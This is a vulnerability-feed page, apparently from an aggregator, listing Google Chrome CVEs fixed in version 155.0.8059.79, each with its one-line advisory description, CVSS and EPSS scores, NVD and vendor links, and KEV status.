Use after free in Core in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110165).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110165&date=2026-10-25).
Sources:
NVD CVE-2026-110165: https://nvd.nist.gov/vuln/detail/CVE-2026-110165
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110165&date=2026-10-25
Use after free in Core in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110164
Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110164).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110164&date=2026-10-25).
Sources:
NVD CVE-2026-110164: https://nvd.nist.gov/vuln/detail/CVE-2026-110164
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110164&date=2026-10-25
Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110163
Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110163).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110163&date=2026-10-25).
Sources:
NVD CVE-2026-110163: https://nvd.nist.gov/vuln/detail/CVE-2026-110163
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110163&date=2026-10-25
Use after free in DOM in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Desktop in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110162
Use after free in Desktop in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in Desktop in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110162).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110162&date=2026-10-25).
Sources:
NVD CVE-2026-110162: https://nvd.nist.gov/vuln/detail/CVE-2026-110162
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110162&date=2026-10-25
Use after free in Desktop in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Network in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic.
https://kevwire.com/record/CVE-2026-110161
Use after free in Network in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Oct 13, 2026).
Use after free in Network in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Critical)
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110161).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110161&date=2026-10-25).
Sources:
NVD CVE-2026-110161: https://nvd.nist.gov/vuln/detail/CVE-2026-110161
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110161&date=2026-10-25
Use after free in Network in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in Updater in Google Chrome prior to 155.0.8059.79 allowed a local attacker to execute arbitrary code outside the sandbox via a local program.
https://kevwire.com/record/CVE-2026-110159
Incorrect authorization in Updater in Google Chrome prior to 155.0.8059.79 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Oct 13, 2026).
Incorrect authorization in Updater in Google Chrome prior to 155.0.8059.79 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110159).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110159&date=2026-10-25).
Sources:
NVD CVE-2026-110159: https://nvd.nist.gov/vuln/detail/CVE-2026-110159
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110159&date=2026-10-25
Incorrect authorization in Updater in Google Chrome prior to 155.0.8059.79 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110157
Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110157).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110157&date=2026-10-25).
Sources:
NVD CVE-2026-110157: https://nvd.nist.gov/vuln/detail/CVE-2026-110157
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110157&date=2026-10-25
Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect reference resolution in Extensions in Google Chrome on on Mac prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute...
https://kevwire.com/record/CVE-2026-110156
Incorrect reference resolution in Extensions in Google Chrome on on Mac prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute... (Oct 13, 2026).
Incorrect reference resolution in Extensions in Google Chrome on on Mac prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110156).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110156&date=2026-10-25).
Sources:
NVD CVE-2026-110156: https://nvd.nist.gov/vuln/detail/CVE-2026-110156
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110156&date=2026-10-25
Incorrect reference resolution in Extensions in Google Chrome on on Mac prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow in PDFium in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110155
Buffer overflow in PDFium in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Buffer overflow in PDFium in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110155).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110155&date=2026-10-25).
Sources:
NVD CVE-2026-110155: https://nvd.nist.gov/vuln/detail/CVE-2026-110155
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110155&date=2026-10-25
Buffer overflow in PDFium in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Canvas in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110154
Use after free in Canvas in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in Canvas in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110154).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110154&date=2026-10-25).
Sources:
NVD CVE-2026-110154: https://nvd.nist.gov/vuln/detail/CVE-2026-110154
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110154&date=2026-10-25
Use after free in Canvas in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110153
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110153).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110153&date=2026-10-25).
Sources:
NVD CVE-2026-110153: https://nvd.nist.gov/vuln/detail/CVE-2026-110153
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110153&date=2026-10-25
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow in ANGLE in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-110152
Buffer overflow in ANGLE in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted... (Oct 13, 2026).
Buffer overflow in ANGLE in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110152).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110152&date=2026-10-25).
Sources:
NVD CVE-2026-110152: https://nvd.nist.gov/vuln/detail/CVE-2026-110152
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110152&date=2026-10-25
Buffer overflow in ANGLE in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110151
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110151).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110151&date=2026-10-25).
Sources:
NVD CVE-2026-110151: https://nvd.nist.gov/vuln/detail/CVE-2026-110151
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110151&date=2026-10-25
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Browser in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110149
Use after free in Browser in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in Browser in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110149).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110149&date=2026-10-25).
Sources:
NVD CVE-2026-110149: https://nvd.nist.gov/vuln/detail/CVE-2026-110149
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110149&date=2026-10-25
Use after free in Browser in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110148
Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110148).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110148&date=2026-10-25).
Sources:
NVD CVE-2026-110148: https://nvd.nist.gov/vuln/detail/CVE-2026-110148
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110148&date=2026-10-25
Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110147
Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110147).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110147&date=2026-10-25).
Sources:
NVD CVE-2026-110147: https://nvd.nist.gov/vuln/detail/CVE-2026-110147
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110147&date=2026-10-25
Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the...
https://kevwire.com/record/CVE-2026-110145
Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the... (Oct 13, 2026).
Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110145).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110145&date=2026-10-25).
Sources:
NVD CVE-2026-110145: https://nvd.nist.gov/vuln/detail/CVE-2026-110145
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110145&date=2026-10-25
Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in Mojo in Google Chrome on on Windows prior to 155.0.8059.79 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a...
https://kevwire.com/record/CVE-2026-110144
Incorrect authorization in Mojo in Google Chrome on on Windows prior to 155.0.8059.79 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a... (Oct 13, 2026).
Incorrect authorization in Mojo in Google Chrome on on Windows prior to 155.0.8059.79 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)
CVSS 8.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110144).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110144&date=2026-10-25).
Sources:
NVD CVE-2026-110144: https://nvd.nist.gov/vuln/detail/CVE-2026-110144
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110144&date=2026-10-25
Incorrect authorization in Mojo in Google Chrome on on Windows prior to 155.0.8059.79 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in FileSystem in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110142
Use after free in FileSystem in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in FileSystem in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110142).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110142&date=2026-10-25).
Sources:
NVD CVE-2026-110142: https://nvd.nist.gov/vuln/detail/CVE-2026-110142
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110142&date=2026-10-25
Use after free in FileSystem in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

